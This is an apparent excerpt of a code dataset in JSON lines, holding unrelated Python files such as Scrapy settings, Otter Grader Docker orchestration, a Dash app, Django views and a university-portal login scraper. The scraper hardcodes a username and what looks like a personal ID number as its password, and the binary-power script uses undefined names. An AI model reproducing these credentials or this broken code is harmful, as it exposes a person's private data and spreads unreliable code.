multf(matrix)\n  elif menu ==6:\n    multd(matrix)\n  else:\n    print(\"no valido\")\n  menu = int (input(\"Prueba 1: \\n1.-Suma Columna\\n 2.-Suma Fila\\n 3.-Suma Diagonal\\n 4.-Multiplica Columna\\n 5.-Multiplica Fila\\n6.-Multiplica Diagonal\\n 7.- Salir\" ))\n\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"60709481","text":"# Scrapy settings for qb_race project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n#     http://doc.scrapy.org/topics/settings.html\n#\n\nBOT_NAME = 'qb_race'\nBOT_VERSION = '1.0'\n\nSPIDER_MODULES = ['qb_race.spiders']\nNEWSPIDER_MODULE = 'qb_race.spiders'\nUSER_AGENT = '%s/%s' % (BOT_NAME, BOT_VERSION)\nFEED_FORMAT = 'csv'\nFEED_URI = 'qb_race.csv'\nLOG_LEVEL = 'WARNING'\nLOG_FILE = 'log.txt'\nCOOKIES_ENABLED = False\n\n","sub_path":"qb_race/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"208123525","text":"# -*- coding: utf-8 -*-\n\"\"\"Load coverage in genotype database.\"\"\"\nimport logging\n\nfrom pymip.api import load_analysis\nfrom taboo.store import Database as TabooDatabase\nfrom taboo.input import load_bcf, load_vcf\n\nlogger = logging.getLogger(__name__)\nSEX = {1: 'male', 2: 'female', 'other': 'unknown', 0: 'unknown'}\n\n\ndef parse_payload(db, payload, config, force=False):\n    \"\"\"Process an action to upload genotypes.\"\"\"\n    taboo_db = TabooDatabase(config['TABOO_URI'])\n    mip_analysis = load_analysis(payload['family_dir'])\n\n    with open(config['TABOO_RSNUMBERS']) as rs_stream:\n        if mip_analysis.bcf_path and mip_analysis.bcf_path.exists():\n            analyses = load_bcf(taboo_db, mip_analysis.bcf_path, rs_stream,\n                                force=force)\n        else:\n            analyses = load_vcf(taboo_db, mip_analysis.ready_vcf, rs_stream,\n                                force=force)\n\n        for analysis in analyses:\n            logger.info(\"added analysis: %s\", analysis.sample.sample_id)\n            sample_id = analysis.sample.sample_id\n            ped_sex = mip_analysis.ped.individuals[sample_id].sex\n            analysis.sample.expected_sex = SEX[ped_sex]\n        taboo_db.save()\n","sub_path":"moneypenny/flow/mutations/genotype.py","file_name":"genotype.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"455788183","text":"\"\"\"\nDocker container management for Otter Grade\n\"\"\"\n\nimport subprocess\nimport re\nimport os\nimport shutil\nimport tempfile\nimport docker\nimport pandas as pd\n\nfrom subprocess import PIPE\nfrom concurrent.futures import ThreadPoolExecutor, wait\n\nfrom .metadata import GradescopeParser\nfrom .utils import simple_tar, get_container_file\n\ndef launch_parallel_containers(tests_dir, notebooks_dir, verbose=False, pdfs=None, reqs=None, \n    num_containers=None, image=\"ucbdsinfra/otter-grader\", scripts=False, no_kill=False, output_path=\"./\", \n    debug=False, seed=None, zips=False, meta_parser=None):\n    \"\"\"Grades notebooks in parallel docker containers\n\n    This function runs ``num_containers`` docker containers in parallel to grade the student submissions\n    in ``notebooks_dir`` using the tests in ``tests_dir``. It can additionally generate PDFs for the parts\n    of the assignment needing manual grading. \n\n    Args:\n        tests_dir (``str``): path to directory of tests\n        notebooks_dir (``str``): path to directory of student submissions to be graded\n        verbose (``bool``, optional): whether status messages should be printed to the command line\n        pdfs (``str``, optional): string indicating what type of PDF to generate; defaults to ``None``\n            indicating no PDFS but can be one of ``[\"unfiltered\", \"tags\", \"html\"]`` corresponding to\n            the type of cell filtering to perform upon generation\n        reqs (``str``, optional): Path to requirements.txt file with non-standard packages needed\n        num_containers (``int``, optional): The number of parallel containers that will be run\n        image (``str``, optional): a docker image tag to be used for grading environment\n        scripts (``bool``, optional): whether student submissions are Python scripts rather than\n            Jupyter notebooks\n        no_kill (``bool``, optional): whether the grading containers should be kept running after\n            grading finishes\n        output_path (``str``, optional): path at which to write grades CSVs copied from the container\n        debug (``bool``, False): whether to run grading in debug mode (prints grading STDOUT and STDERR \n            from each container to the command line)\n        seed (``int``, optional): a random seed to use for intercell seeding during grading\n        zips (``bool``, False): whether the submissions are zip files formatted from ``Notebook.export``\n        meta_parser (object, optional): a metadata parser instance; one of the classes defined in\n            ``otter.metadata``\n\n    Returns:\n        ``list`` of ``pandas.core.frame.DataFrame``: the grades returned by each container spawned during\n            grading\n    \"\"\"\n    if not num_containers:\n        num_containers = 4\n\n    # list all notebooks in the dir\n    dir_path = os.path.abspath(notebooks_dir)\n    file_extension = (\".zip\", \".py\", \".ipynb\")[[zips, scripts, True].index(True)]\n    notebooks = [os.path.join(dir_path, f) for f in os.listdir(dir_path) \\\n        if os.path.isfile(os.path.join(dir_path, f)) and f.endswith(file_extension)]\n\n    # fix number of containers (overriding user input if necessary)\n    if len(notebooks) < num_containers:\n        num_containers = len(notebooks)\n\n    # # calculate number of notebooks per container\n    # num_per_group = int(len(notebooks) / num_containers)\n\n    try:\n        # create temp directories and add non-notebook files\n        dirs = [tempfile.mkdtemp() for _ in range(num_containers)]\n\n        # if GS export, get list of folder names to ignore when copying files\n        if isinstance(meta_parser, GradescopeParser):\n            ignore_folders = meta_parser.get_folders()\n        else:\n            ignore_folders = []\n\n        # copy all non-notebook files into each temp directory\n        for i in range(num_containers):\n            for file in os.listdir(dir_path):\n                fp = os.path.join(dir_path, file)\n                if os.path.isfile(fp) and os.path.splitext(fp)[1] != file_extension:\n                    shutil.copy(fp, dirs[i])\n                elif os.path.isdir(fp) and fp not in ignore_folders:                    \n                    shutil.copytree(fp, os.path.join(dirs[i], file))\n\n        # copy notebooks in tmp directories\n        for k, v in enumerate(notebooks):\n            shutil.copy(v, dirs[k % num_containers])\n\n        # execute containers in parallel\n        pool = ThreadPoolExecutor(num_containers)\n        futures = []\n        for i in range(num_containers):\n            futures += [pool.submit(grade_assignments, \n                tests_dir, \n                dirs[i], \n                str(i), \n                verbose=verbose, \n                pdfs=pdfs,\n                # unfiltered_pdfs=unfiltered_pdfs, \n                # tag_filter=tag_filter,\n                # html_filter=html_filter,\n                reqs=reqs,\n                image=image,\n                scripts=scripts,\n                no_kill=no_kill,\n                output_path=output_path,\n                debug=debug,\n                seed=seed,\n                zips=zips\n            )]\n\n        # stop execution while containers are running\n        finished_futures = wait(futures)\n    \n    # cleanup temp directories on failure\n    except:\n        for i in range(num_containers):\n            shutil.rmtree(dirs[i], ignore_errors=True)\n        raise\n    \n    # cleanup temp directories\n    else:\n        for i in range(num_containers):\n            shutil.rmtree(dirs[i])\n\n    # return list of dataframes\n    return [df.result() for df in finished_futures[0]]\n\ndef grade_assignments(tests_dir, notebooks_dir, id, image=\"ucbdsinfra/otter-grader\", verbose=False, \n    pdfs=False, reqs=None, scripts=False, no_kill=False, output_path=\"./\", debug=False, seed=None, zips=False):\n    \"\"\"\n    Grades multiple assignments in a directory using a single docker container. If no PDF assignment is \n    wanted, set all three PDF params (``unfiltered_pdfs``, ``tag_filter``, and ``html_filter``) to ``False``.\n\n    Args:\n        tests_dir (``str``): path to directory of tests\n        notebooks_dir (``str``): path to directory of student submissions to be graded\n        id (``int``): grading container index\n        image (``str``, optional): a docker image tag to be used for grading environment\n        verbose (``bool``, optional): whether status messages should be printed to the command line\n        pdfs (``str``, optional): string indicating what type of PDF to generate; defaults to ``None``\n            indicating no PDFS but can be one of ``[\"unfiltered\", \"tags\", \"html\"]`` corresponding to\n            the type of cell filtering to perform upon generation\n        reqs (``str``, optional): Path to requirements.txt file with non-standard packages needed\n        scripts (``bool``, optional): whether student submissions are Python scripts rather than\n            Jupyter notebooks\n        no_kill (``bool``, optional): whether the grading containers should be kept running after\n            grading finishes\n        output_path (``str``, optional): path at which to write grades CSVs copied from the container\n        debug (``bool``, False): whether to run grading in debug mode (prints grading STDOUT and STDERR \n            from each container to the command line)\n        seed (``int``, optional): a random seed to use for intercell seeding during grading\n        zips (``bool``, False): whether the submissions are zip files formatted from ``Notebook.export``\n\n    Returns:\n        ``pandas.core.frame.DataFrame``: A dataframe of file to grades information\n    \"\"\"\n    # this is a fix for travis -- allows overriding docker client version\n    if os.environ.get(\"OTTER_DOCKER_CLIENT_VERSION\") is not None:\n        client = docker.from_env(version=os.environ.get(\"OTTER_DOCKER_CLIENT_VERSION\"))\n    else:\n        client = docker.from_env()\n    container = client.containers.run(image, detach=True, tty=True)\n\n    try:        \n        container_id = container.id[:12]\n\n        if verbose:\n            print(f\"Launched container {container_id}...\")\n\n        with simple_tar(notebooks_dir) as tarf:\n            container.put_archive(\"/home\", tarf)\n            container.exec_run(f\"mv /home/{os.path.basename(notebooks_dir)} /home/notebooks\")\n        \n        # copy the test files to the container\n        if tests_dir is not None:\n            with simple_tar(tests_dir) as tarf:\n                container.put_archive(\"/home\", tarf)\n                container.exec_run(f\"mv /home/{os.path.basename(tests_dir)} /home/tests\")\n\n        # copy the requirements file to the container\n        if reqs:\n            if verbose:\n                print(f\"Installing requirements in container {container_id}...\")\n            \n            with simple_tar(reqs) as tarf:\n                container.put_archive(\"/home\", tarf)\n\n            # install requirements\n            exit_code, output = container.exec_run(\"pip install -r /home/requirements.txt\")\n            assert exit_code == 0, f\"Container {container_id} failed to install requirements:\\n{output.decode('utf-8')}\"\n\n            if debug:\n                print(output.decode(\"utf-8\"))\n\n        if verbose:\n            print(f\"Grading {('notebooks', 'scripts')[scripts]} in container {container_id}...\")\n        \n        # Now we have the notebooks in home/notebooks, we should tell the container to execute the grade command...\n        grade_command = [\"python\", \"-m\", \"otter.grade\", \"/home/notebooks\"]\n\n        # if we want PDF output, add the necessary flag\n        if pdfs:\n            grade_command += [\"--pdf\", pdfs]\n        \n        # seed\n        if seed is not None:\n            grade_command += [\"--seed\", str(seed)]\n\n        # if we are grading scripts, add the --script flag\n        if scripts:\n            grade_command += [\"--scripts\"]\n        \n        if debug:\n            grade_command += [\"--verbose\"]\n\n        if zips:\n            grade_command += [\"--zips\"]\n\n        exit_code, output = container.exec_run(grade_command)\n        assert exit_code == 0, f\"Container {container_id} failed with output:\\n{output.decode('utf-8')}\"\n\n        if debug:\n            print(output.decode(\"utf-8\"))\n        \n        if verbose:\n            print(f\"Copying grades from container {container_id}...\")\n\n        # get the grades back from the container and read to date frame so we can merge later\n        with get_container_file(container, \"/home/notebooks/grades.csv\") as f:\n            df = pd.read_csv(f)\n\n        if pdfs:\n            pdf_folder = os.path.join(os.path.abspath(output_path), \"submission_pdfs\")\n            os.makedirs(pdf_folder, exist_ok=True)\n            \n            # copy out manual submissions\n            for pdf in df[\"manual\"]:\n                local_pdf_path = os.path.join(pdf_folder, os.path.basename(pdf))\n                with get_container_file(container, pdf) as pdf_file, open(local_pdf_path, \"wb+\") as f:\n                    f.write(pdf_file.read())\n\n            df[\"manual\"] = df[\"manual\"].str.replace(\"/home/notebooks\", os.path.basename(pdf_folder))\n\n        if not no_kill:\n            if verbose:\n                print(f\"Stopping container {container_id}...\")\n\n            # cleanup the docker container\n            container.stop()\n            container.remove()\n        \n        client.close()\n\n    except:\n\n        # delete the submission PDFs on failure\n        if pdfs and \"pdf_folder\" in locals():\n            shutil.rmtree(pdf_folder)\n\n        if not no_kill:\n            if verbose:\n                print(f\"Stopping container {container_id}...\")\n\n            # cleanup the docker container\n            container.stop()\n            container.remove()\n        \n        client.close()\n        \n        raise\n    \n    return df\n","sub_path":"otter/grade/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":11714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"417879150","text":"#!/usr/bin/env python\n# encoding: utf-8\nfrom pybald.core.controllers import BaseController\nfrom pybald.core import pybald_class_loader\n\n__all__ = []\n\n\ndef load():\n    '''Load all controllers inherting from BaseController'''\n    global __all__\n    controllers_path = __path__[0]\n    __all__ = pybald_class_loader(controllers_path, (BaseController,), globals(), locals())\n","sub_path":"pybald/project_template/app/controllers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"102846500","text":"\"\"\" Sample App Code with Datatable \"\"\"\n\n# Import Supporting Libraries\nimport pandas as pd\n\n# Import Dash Visualization Libraries\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table_experiments as dt\nimport dash.dependencies\nfrom dash.dependencies import Input, Output, State\nimport plotly\n\n\n# Load datasets\nUS_STATES_URL = 'https://raw.githubusercontent.com/plotly/datasets/master/2014_usa_states.csv'\nUS_AG_URL = 'https://raw.githubusercontent.com/plotly/datasets/master/2011_us_ag_exports.csv'\ndf_st = pd.read_csv(US_STATES_URL)\ndf_ag = pd.read_csv(US_AG_URL)\nprint(df_st.head())\nprint(df_ag.head())\n\n\n# Create our app layout\napp = dash.Dash(__name__)\nserver = app.server\napp.layout = html.Div([\n    html.H2('My Dash App'),\n    dt.DataTable(\n        id='my-datatable',\n        rows=df_ag.to_dict('records'),\n        editable=False,\n        row_selectable=True,\n        filterable=True,\n        sortable=True,\n        selected_row_indices=[]\n    ),\n    html.Div(id='selected-indexes'),\n    dcc.Graph(\n        id='datatable-subplots'\n    )\n], style={'width': '60%'})\n\n@app.callback(Output('my-datatable', 'selected_row_indices'),\n              [Input('datatable-subplots', 'clickData')],\n              [State('my-datatable', 'selected_row_indices')])\ndef updated_selected_row_indices(clickData, selected_row_indices):\n    if clickData:\n        for point in clickData['points']:\n            if point['pointNumber'] in selected_row_indices:\n                selected_row_indices.remove(point['pointNumber'])\n            else:\n                selected_row_indices.append(point['pointNumber'])\n    return selected_row_indices\n\n\n@app.callback(Output('datatable-subplots', 'figure'),\n              [Input('my-datatable', 'rows'),\n               Input('my-datatable', 'selected_row_indices')])\ndef update_figure(rows, selected_row_indices):\n    dff = pd.DataFrame(rows)\n    fig = plotly.tools.make_subplots(\n        rows=3, cols=1,\n        subplot_titles=('Beef', 'Pork', 'Poultry'),\n        shared_xaxes=True)\n    marker = {'color': ['#0074D9']*len(dff)}\n    for i in (selected_row_indices or []):\n        marker['color'][i] = '#FF851B'\n    fig.append_trace({\n        'x': dff['state'],\n        'y': dff['beef'],\n        'type': 'bar',\n        'marker': marker\n    }, 1, 1)\n    fig.append_trace({\n        'x': dff['state'],\n        'y': dff['pork'],\n        'type': 'bar',\n        'marker': marker\n    }, 2, 1)\n    fig.append_trace({\n        'x': dff['state'],\n        'y': dff['poultry'],\n        'type': 'bar',\n        'marker': marker\n    }, 3, 1)\n    fig['layout']['showlegend'] = False\n    fig['layout']['height'] = 1000\n    fig['layout']['width'] = 1200\n    fig['layout']['margin'] = {\n        'l': 40,\n        'r': 10,\n        't': 60,\n        'b': 200\n    }\n    return fig\n\n\napp.css.append_css({\n    'external_url': 'https://codepen.io/chriddyp/pen/bWLwgP.css'\n})\n\n\nif __name__ == '__main__':\n    app.run_server(debug=True)","sub_path":"SocApp-dash/covid-app.py","file_name":"covid-app.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"628995135","text":"txt = input(\"Enter text (Polyalphabetic Cipher): \").upper()\nq = input(\"- encode  (1): \\n- decode  (2):\\n- do both (3):\\n- make a choice, senpai! : \")\n\nalpha = [chr(i) for i in range(65, 91)]\n\nres = []\nfor i in [txt[i:i+3] for i in range(0, len(txt), 3)]:\n\tfor x, y in zip([3, 5, 7], i):res.append(alpha[(ord(y)%65+x)%26])\n\ntxt = \"\".join(res) if q != \"2\" else txt\n\nprint(\"\\n\\nEncoding result: \"+txt if q == \"1\" or q == \"3\" else \"\")\n\nres = []\nfor i in [txt[i:i+3] for i in range(0, len(txt), 3)]:\n\tfor x, y in zip([-3, -5, -7], i):res.append(alpha[(ord(y)%65+x)%26])\n\nprint(\"\\n\\nDecoding result: \"+\"\".join(res) if q == \"2\" or q == \"3\" else \"\")\n\n##### optional #####\nimport time,sys\nfor i in range(9,1,-1):\n\ttime.sleep(1)\n\tsys.stdout.write(\"\\r\"+str(i)+ \" time left.\")\n\tsys.stdout.flush()\nsys.exit()\n","sub_path":"Polyalphabetic.py","file_name":"Polyalphabetic.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"336478542","text":"#!/usr/bin/python\nimport sys\n\n\ndef calc_gene_density(in_gene, in_bed, out_gene):\n\tregion_db = {}\n\twin_length = 0\n\twith open(in_bed, 'r') as f_in:\n\t\tfor line in f_in:\n\t\t\tif line[:3].lower() != 'chr':\n\t\t\t\tcontinue\n\t\t\tdata = line.strip().split()\n\t\t\tif win_length == 0:\n\t\t\t\twin_length = int(data[2]) - int(data[1])\n\t\t\tif data[0] not in region_db:\n\t\t\t\tregion_db[data[0]] = {}\n\t\t\t\tregion_db[data[0]]['start'] = []\n\t\t\t\tregion_db[data[0]]['count'] = []\n\t\t\tregion_db[data[0]]['start'].append(int(data[1]))\n\t\t\tregion_db[data[0]]['count'].append(0)\n\twith open(in_gene, 'r') as f_in:\n\t\tfor line in f_in:\n\t\t\tif line[:3].lower() != 'chr':\n\t\t\t\tcontinue\n\t\t\tdata = line.strip().split()\n\t\t\tchrn = data[0]\n\t\t\ts = int(data[1])\n\t\t\tfor i in range(0, len(region_db[chrn]['start'])):\n\t\t\t\tif s < region_db[chrn]['start'][i]:\n\t\t\t\t\tbreak\n\t\t\ti -= 1\n\t\t\tregion_db[chrn]['count'][i] += 1\n\tchr_list = sorted(region_db.keys())\n\twith open(out_gene, 'w') as f_out:\n\t\tfor chrn in chr_list:\n\t\t\tfor i in range(0, len(region_db[chrn]['start'])):\n\t\t\t\tf_out.write(chrn+'\\t'+str(region_db[chrn]['start'][i])+'\\t'+str(region_db[chrn]['start'][i]+win_length)+'\\t'+str(region_db[chrn]['count'][i])+'\\n')\n\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) < 4:\n\t\tprint(\"Notice: calc gene density counts with bed file\")\n\t\tprint(\"Usage: python \"+sys.argv[0]+\" <in_gene> <in_bed> <out_gene>\")\n\telse:\n\t\tin_gene = sys.argv[1]\n\t\tin_bed = sys.argv[2]\n\t\tout_gene = sys.argv[3]\n\t\tcalc_gene_density(in_gene, in_bed, out_gene)\n\n","sub_path":"calc_gene_density.py","file_name":"calc_gene_density.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"375122987","text":"'''\nCreated on 18/05/2015\n\n@author: alfred\n'''\nimport logging\nfrom mc_be.blueprints.dmm.device_group.streams import factory\nfrom mc_be.blueprints.dmm.device_group.models import DeviceGroupModel\nfrom mc_be.app import celery\nfrom werkzeug.exceptions import NotFound\nfrom dirty_models.base import Unlocker\n\nlogger = logging.getLogger('dmm_device_group.celery')\n\n\n@celery.celery.task\ndef process_device_group_file(model, upload_watcher):\n    from mc_be.blueprints.core.upload.services import upload_service\n    from mc_be.blueprints.core.watcher.services import watcher_service\n    from mc_be.blueprints.dmm.device_group.services import device_group_service\n\n    try:\n        filename = upload_service.get_upload_file(upload_watcher)\n        mimetype = upload_service.get_mimetype(upload_watcher)\n        csv_reader = factory(filename, mimetype=mimetype)\n        device_group_service.create_tag_from_iter(model, csv_reader)\n    except Exception as ex:\n        logger.exception(ex)\n\n        event_data = {'hasFailures': True,\n                      'error': str(ex)}\n        event = device_group_service.create_event(model, event_data=event_data,\n                                                  action='error', force_finish=True)\n\n        watcher_service.publish_event(event)\n\n        with Unlocker(model):\n            model.status = DeviceGroupModel.STATUS_ERROR\n        device_group_service.update(model)\n\n        raise\n    finally:\n        try:\n            upload_service.delete(upload_watcher)\n        except NotFound:  # pragma: no cover\n            pass\n","sub_path":"mc-pybe-release-smip-R4/mc_be/blueprints/dmm/device_group/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"520310268","text":"import numpy as np\n\n\ndef binary_pow(a, deg: int, t = int):\n    res = 1\n    while deg:\n        if deg & 1:\n            res *= a\n        a *= a\n        deg >>= 1\n    return t(res)\n\n\ndef binary_pow_mod(a: int, deg: int, n: int):\n    res = 1\n    if a == 0:\n        if p != 0:\n            return 0\n        else:\n            return None\n    if p < 0 or n <= 1:\n        return 0\n    while deg:\n        if deg & 1:\n            res *= a\n        a *= a\n        res %= n\n        a %= n\n        deg >>= 1\n    return res\n\n\ndef binary_matrix(a: np.array, deg: int):\n    res = np.identity(len(a))\n    while deg:\n        if deg & 1:\n            res = np.dot(res, a)\n        a = np.dot(a, a)\n        deg >>= 1\n    return res\n\n\ndef fib(n):\n    arr = np.array([[1, 1], [1, 0]], dtype='O')\n    return int(binary_matrix(arr, n)[1, 0])\n\n\nprint(fib(9))\nprint(ffib(9))\n","sub_path":"lab01/binary_deg.py","file_name":"binary_deg.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"488395809","text":"# Project\nfrom django.db.models import OuterRef, Subquery, DecimalField\nfrom django.db.models import Sum, F\n\nfrom main.managers import BaseManager\n\n\nclass ProductBalanceManager(BaseManager):\n    def products(self, stock=None, product=None):\n        availability = (F('total_balance') - F('total_defect')) - F('total_sold')\n\n        query = self\n        if stock and product:\n            query = self.filter(stock=stock, product=product)\n        query = query.values('product_id', 'stock_id')\n        query = query.annotate(total_defect=Sum('defect'))\n        query = query.annotate(total_balance=Sum('balance'))\n        query = query.annotate(total_sold=Sum('sold'))\n        query = query.annotate(available=availability).order_by()\n        return query\n","sub_path":"apps/main/managers/product_balance.py","file_name":"product_balance.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"400976708","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/1/24\n# @Author : kiwi\n# @File : spider_login2.py\n# @Project : lydf\nimport requests\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom bs4 import BeautifulSoup\nimport lxml\nimport time\nimport datetime\nimport hashlib\nimport execjs\n# from spider_score import getScore\n\n\ndef hex_md5(data):\n    return execjs.compile(open(r'{}\\md5.js'.format('E:\\owntry\\spider')).read()).call('hex_md5', data)\n\n\ndef login(username, pwd):\n\n    url_login = 'http://202.115.133.173:805/Common/Handler/UserLogin.ashx'\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '\n                      'Chrome/80.0.3987.87 Safari/537.36',\n        # 'Referer': 'http://202.115.133.173:805/Login.html',\n        \"Origin\": \"http://202.115.133.173:805\",\n        \"Referer\": \"http://202.115.133.173:805/Default.aspx\",\n        \"X-Requested-With\": \"XMLHttpRequest\",\n        \"Upgrade-Insecure-Requests\": \"1\",\n    }\n\n    # Action: Login\n    # userName:\n    # pwd: b6adf8d2fcf32fc0c2a4adc1a3b087e5\n    # sign: 1580293526357\n    loginForm = {\n        'userName': '',\n        'pwd': '',\n        'sign': '',\n        'Action': 'Login'\n    }\n\n    # get psw\n    sign = str(round(time.time()*1000))\n    username = username\n    psw = hex_md5(username + sign + hex_md5(pwd.strip()))\n    loginForm['sign'] = sign\n    loginForm['userName'] = username\n    loginForm['pwd'] = psw\n    # print(username)\n    # print(sign)\n    # print(psw)\n\n    try:\n        s = requests.Session()\n        login1 = s.post(url_login, data=loginForm, headers=headers)\n        if login1.text == \"0\":\n            return s\n        else:\n            return 0\n    except:\n        return 0\n\n\nif __name__ == \"__main__\":\n    # server = SimpleXMLRPCServer((\"localhost\", 8080))\n    # server.register_function(test)\n    # server.serve_forever()\n\n    login('201712090414', '420502199704251123')\n    # mstime1 = getTime()\n    # mstime2 = getjsTime(datetime.datetime.utcnow())\n    # print(mstime2)\n\n","sub_path":"spider_login2.py","file_name":"spider_login2.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"574470952","text":"from django.shortcuts import render, redirect\nfrom django.db.models import Sum\nfrom . import forms\nfrom . import models\n\n\ndef halamandepan(req):\n    return render(req, 'hal1/index1.html')\n\ndef penjualan(req):\n    return render(req, 'uangmasuk/index2.html')\n\ndef penjualan_tunai(req):\n    penjualan1 = models.penjualan1m.objects.all()\n    total = 0\n    for p in penjualan1:\n      total += p.total()\n    return render(req, 'penjualan/index3.html', {\n        'data': penjualan1,\n        'total': total,\n    })\n\ndef penjualan_kredit(req):\n    penjualan2 = models.penjualan2m.objects.all()\n    total = 0\n    for p in penjualan2:\n      total += p.total()\n    return render(req, 'penjualan/index4.html', {\n        'data': penjualan2,\n        'total': total,\n    })\n\ndef penjualan_lain(req):\n    penjualan3 = models.penjualan3m.objects.all()\n    jumlah = 0\n    jumlah2 = 0\n    for j in penjualan3:\n      jumlah += j.jumlah()\n    \n    for k in penjualan3:\n      jumlah2 += k.jumlah2()\n    return render(req, 'penjualan/index5.html', {\n        'data': penjualan3,\n        'jumlah': jumlah,\n        'jumlah2': jumlah2,\n\n    })\n\ndef piutang(req):\n    penjualan2 = models.penjualan2m.objects.all()\n    total = 0\n    for p in penjualan2:\n      total += p.total()\n    return render(req, 'uangmasuk/index6.html', {\n        'data': penjualan2,\n        'total': total,\n    })\n\ndef utang(req):\n    utang = models.utangm.objects.all()\n    return render(req, 'uangmasuk/index7.html', {\n        'data': utang,\n    })\n\ndef pend_lain(req):\n    pend = models.pend_lainm.objects.all()\n    return render(req, 'uangmasuk/index8.html', {\n        'data': pend,\n    })\n\ndef pembelian(req):\n    return render(req, 'uangkeluar/index9.html')\n\ndef pembelian_tunai(req):\n    pem = models.pem_tunaim.objects.all()\n    return render(req, 'pembelian/index10.html', {\n        'data': pem,\n    })\n    \ndef pembelian_kredit(req):\n    pem = models.pem_kreditm.objects.all()\n    return render(req, 'pembelian/index11.html', {\n        'data': pem,\n    })\n\ndef pembelian_lain(req):\n    pem = models.pem_lainm.objects.all()\n    return render(req, 'pembelian/index12.html', {\n        'data': pem,\n    })\n\ndef pembayaran_utang(req):\n    return render(req, 'uangkeluar/index13.html')\n\ndef pembayaran_biaya(req):\n    bayar = models.pembayaran_biayam.objects.all()\n    return render(req, 'uangkeluar/index14.html', {\n        'data': bayar,\n    })\n\ndef pembayaran_lain(req):\n    bayar = models.pembayaran_lainm.objects.all()\n    return render(req, 'uangkeluar/index15.html', {\n        'data': bayar,\n    })\n\ndef barang(req):\n    bayar = models.barangm.objects.all()\n    return render(req, 'keperluan/index18.html', {\n        'data': bayar,\n    })\n\n\n\n\n\n#crud\ndef penjualan1v(req):\n    form_input = forms.penjualan1f()\n    if req.POST:\n        form_input = forms.penjualan1f(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n            return redirect('/penjualan_tunai')\n    return render(req, 'crud/penjualan1.html', {\n        'form': form_input,\n    })\n\ndef penjualan2v(req):\n    form_input = forms.penjualan2f()\n    if req.POST:\n        form_input = forms.penjualan2f(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/penjualan_kredit')\n    return render(req, 'crud/penjualan2.html', {\n        'form': form_input,\n    })\n\ndef penjualan3v(req):\n    form_input = forms.penjualan3f()\n    if req.POST:\n        form_input = forms.penjualan3f(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/penjualan_lain')\n    return render(req, 'crud/penjualan3.html', {\n        'form': form_input,\n    })\n\ndef utangv(req):\n    form_input = forms.utangf()\n    if req.POST:\n        form_input = forms.utangf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/utang')\n    return render(req, 'crud/utang.html', {\n        'form': form_input,\n    })\n\ndef pend_lainv(req):\n    form_input = forms.pend_lainf()\n    if req.POST:\n        form_input = forms.pend_lainf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pend_lain')\n    return render(req, 'crud/pend_lain.html', {\n        'form': form_input,\n    })\n\ndef pem_tunaiv(req):\n    form_input = forms.pem_tunaif()\n    if req.POST:\n        form_input = forms.pem_tunaif(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pembelian_tunai')\n    return render(req, 'crud/pem_tunai.html', {\n        'form': form_input,\n    })\n\ndef pem_kreditv(req):\n    form_input = forms.pem_kreditf()\n    if req.POST:\n        form_input = forms.pem_kreditf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pembelian_kredit')\n    return render(req, 'crud/pem_kredit.html', {\n        'form': form_input,\n    })\n\ndef pem_lainv(req):\n    form_input = forms.pem_lainf()\n    if req.POST:\n        form_input = forms.pem_lainf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pembelian_lain')\n    return render(req, 'crud/pem_lain.html', {\n        'form': form_input,\n    })\n\ndef pembayaran_biayav(req):\n    form_input = forms.pembayaran_biayaf()\n    if req.POST:\n        form_input = forms.pembayaran_biayaf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pembayaran_biaya')\n    return render(req, 'crud/pembayaran_biaya.html', {\n        'form': form_input,\n    })\n\ndef pembayaran_lainv(req):\n    form_input = forms.pembayaran_lainf()\n    if req.POST:\n        form_input = forms.pembayaran_lainf(req.POST)\n        if form_input.is_valid():\n            form_input.save()\n        return redirect('/pembayaran_lain')\n    return render(req, 